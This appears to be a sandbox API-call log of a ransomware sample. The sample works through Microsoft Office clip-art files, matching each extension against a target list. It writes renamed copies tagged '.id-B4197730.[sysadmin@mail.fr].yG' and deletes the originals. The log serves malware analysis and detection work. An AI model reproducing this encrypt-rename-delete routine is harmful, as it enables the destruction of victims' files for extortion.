	[0158.908] lstrlenW (lpString=".doc") returned 4
	[0158.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.908] lstrlenW (lpString=".docx") returned 5
	[0158.908] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0158.908] lstrlenW (lpString=".pdf") returned 4
	[0158.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.908] lstrlenW (lpString=".xls") returned 4
	[0158.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.908] lstrlenW (lpString=".xlsx") returned 5
	[0158.908] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0158.908] lstrlenW (lpString=".ppt") returned 4
	[0158.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0158.908] lstrlenW (lpString=".zip") returned 4
	[0158.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.909] lstrlenW (lpString=".rar") returned 4
	[0158.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.909] lstrlenW (lpString=".bz2") returned 4
	[0158.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.909] lstrlenW (lpString=".7z") returned 3
	[0158.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0158.909] lstrlenW (lpString=".dbf") returned 4
	[0158.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0158.909] lstrlenW (lpString=".1cd") returned 4
	[0158.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0158.909] lstrlenW (lpString=".jpg") returned 4
	[0158.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.910] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0158.910] lstrlenW (lpString="J0099182.WMF") returned 12
	[0158.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0158.910] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=3840) returned 1
	[0158.910] CloseHandle (hObject=0x548) returned 1
	[0158.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220
	[0158.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0158.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0158.911] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.911] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0158.912] GetLastError () returned 0x0
	[0158.912] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xf00, lpOverlapped=0x0) returned 1
	[0158.943] WriteFile (in: hFile=0x4ac, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xf10, lpOverlapped=0x0) returned 1
	[0158.944] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.944] WriteFile (in: hFile=0x4ac, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.944] SetEndOfFile (hFile=0x4ac) returned 1
	[0158.945] CloseHandle (hObject=0x4ac) returned 1
	[0158.945] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.945] SetEndOfFile (hFile=0x548) returned 1
	[0158.949] CloseHandle (hObject=0x548) returned 1
	[0158.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0158.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1
	[0158.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0158.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0158.950] lstrlenW (lpString=".doc") returned 4
	[0158.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.950] lstrlenW (lpString=".docx") returned 5
	[0158.951] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0158.951] lstrlenW (lpString=".pdf") returned 4
	[0158.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.951] lstrlenW (lpString=".xls") returned 4
	[0158.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.951] lstrlenW (lpString=".xlsx") returned 5
	[0158.951] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0158.951] lstrlenW (lpString=".ppt") returned 4
	[0158.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0158.951] lstrlenW (lpString=".zip") returned 4
	[0158.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.951] lstrlenW (lpString=".rar") returned 4
	[0158.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.951] lstrlenW (lpString=".bz2") returned 4
	[0158.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.951] lstrlenW (lpString=".7z") returned 3
	[0158.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0158.951] lstrlenW (lpString=".dbf") returned 4
	[0158.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0158.952] lstrlenW (lpString=".1cd") returned 4
	[0158.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0158.952] lstrlenW (lpString=".jpg") returned 4
	[0158.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0158.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0158.952] lstrlenW (lpString=".doc") returned 4
	[0158.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.952] lstrlenW (lpString=".docx") returned 5
	[0158.952] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0158.952] lstrlenW (lpString=".pdf") returned 4
	[0158.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.952] lstrlenW (lpString=".xls") returned 4
	[0158.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.952] lstrlenW (lpString=".xlsx") returned 5
	[0158.952] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0158.953] lstrlenW (lpString=".ppt") returned 4
	[0158.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0158.953] lstrlenW (lpString=".zip") returned 4
	[0158.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.953] lstrlenW (lpString=".rar") returned 4
	[0158.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.953] lstrlenW (lpString=".bz2") returned 4
	[0158.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.953] lstrlenW (lpString=".7z") returned 3
	[0158.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0158.953] lstrlenW (lpString=".dbf") returned 4
	[0158.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0158.953] lstrlenW (lpString=".1cd") returned 4
	[0158.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68
	[0158.953] lstrlenW (lpString=".jpg") returned 4
	[0158.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.954] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0158.954] lstrlenW (lpString="J0099183.WMF") returned 12
	[0158.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0158.955] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=4946) returned 1
	[0158.955] CloseHandle (hObject=0x548) returned 1
	[0158.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220
	[0158.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0158.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0158.956] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.956] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0158.957] GetLastError () returned 0x0
	[0158.957] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x1352, lpOverlapped=0x0) returned 1
	[0158.959] WriteFile (in: hFile=0x4ac, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1360, lpOverlapped=0x0) returned 1
	[0158.961] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.961] WriteFile (in: hFile=0x4ac, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.961] SetEndOfFile (hFile=0x4ac) returned 1
	[0158.961] CloseHandle (hObject=0x4ac) returned 1
	[0158.961] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.961] SetEndOfFile (hFile=0x548) returned 1
	[0160.035] CloseHandle (hObject=0x548) returned 1
	[0160.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0160.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1
	[0160.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0160.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0160.061] lstrlenW (lpString=".doc") returned 4
	[0160.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0160.061] lstrlenW (lpString=".docx") returned 5
	[0160.061] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0160.061] lstrlenW (lpString=".pdf") returned 4
	[0160.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0160.061] lstrlenW (lpString=".xls") returned 4
	[0160.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0160.061] lstrlenW (lpString=".xlsx") returned 5
	[0160.061] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0160.061] lstrlenW (lpString=".ppt") returned 4
	[0160.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0160.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0160.061] lstrlenW (lpString=".zip") returned 4
	[0160.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0160.061] lstrlenW (lpString=".rar") returned 4
	[0160.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0160.061] lstrlenW (lpString=".bz2") returned 4
	[0160.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0160.061] lstrlenW (lpString=".7z") returned 3
	[0160.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0160.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0160.062] lstrlenW (lpString=".dbf") returned 4
	[0160.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0160.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0160.062] lstrlenW (lpString=".1cd") returned 4
	[0160.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0160.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0160.062] lstrlenW (lpString=".jpg") returned 4
	[0160.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0160.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0160.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0160.062] lstrlenW (lpString=".doc") returned 4
	[0160.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0160.062] lstrlenW (lpString=".docx") returned 5
	[0160.062] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0160.062] lstrlenW (lpString=".pdf") returned 4
	[0160.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0160.062] lstrlenW (lpString=".xls") returned 4
	[0160.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0160.062] lstrlenW (lpString=".xlsx") returned 5
	[0160.062] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0160.062] lstrlenW (lpString=".ppt") returned 4
	[0160.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0160.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0160.063] lstrlenW (lpString=".zip") returned 4
	[0160.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0160.063] lstrlenW (lpString=".rar") returned 4
	[0160.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0160.063] lstrlenW (lpString=".bz2") returned 4
	[0160.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0160.063] lstrlenW (lpString=".7z") returned 3
	[0160.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0160.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0160.063] lstrlenW (lpString=".dbf") returned 4
	[0160.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0160.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0160.063] lstrlenW (lpString=".1cd") returned 4
	[0160.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0160.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68
	[0160.063] lstrlenW (lpString=".jpg") returned 4
	[0160.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0160.063] lstrcmpiW (lpString1=".JPG", lpString2=".yG") returned -1
	[0160.063] lstrlenW (lpString="J0099189.JPG") returned 12
	[0160.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0160.065] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=8076) returned 1
	[0160.065] CloseHandle (hObject=0x548) returned 1
	[0160.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220
	[0160.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0160.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0160.066] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.066] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0160.076] GetLastError () returned 0x0
	[0160.076] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x1f8c, lpOverlapped=0x0) returned 1
	[0160.084] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1f90, lpOverlapped=0x0) returned 1
	[0160.085] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0160.085] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0160.085] SetEndOfFile (hFile=0x540) returned 1
	[0160.085] CloseHandle (hObject=0x540) returned 1
	[0160.085] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.085] SetEndOfFile (hFile=0x548) returned 1
	[0160.166] CloseHandle (hObject=0x548) returned 1
	[0160.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0160.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1
	[0160.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0160.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0160.167] lstrlenW (lpString=".doc") returned 4
	[0160.167] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0160.167] lstrlenW (lpString=".docx") returned 5
	[0160.168] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0160.168] lstrlenW (lpString=".pdf") returned 4
	[0160.168] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0160.168] lstrlenW (lpString=".xls") returned 4
	[0160.168] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0160.168] lstrlenW (lpString=".xlsx") returned 5
	[0160.168] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0160.168] lstrlenW (lpString=".ppt") returned 4
	[0160.168] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0160.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0160.168] lstrlenW (lpString=".zip") returned 4
	[0160.168] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0160.168] lstrlenW (lpString=".rar") returned 4
	[0160.168] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0160.168] lstrlenW (lpString=".bz2") returned 4
	[0160.168] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0160.168] lstrlenW (lpString=".7z") returned 3
	[0160.168] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0160.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0160.168] lstrlenW (lpString=".dbf") returned 4
	[0160.168] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0160.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0160.168] lstrlenW (lpString=".1cd") returned 4
	[0160.168] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0160.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0160.169] lstrlenW (lpString=".jpg") returned 4
	[0160.169] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0160.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0160.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0160.169] lstrlenW (lpString=".doc") returned 4
	[0160.169] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
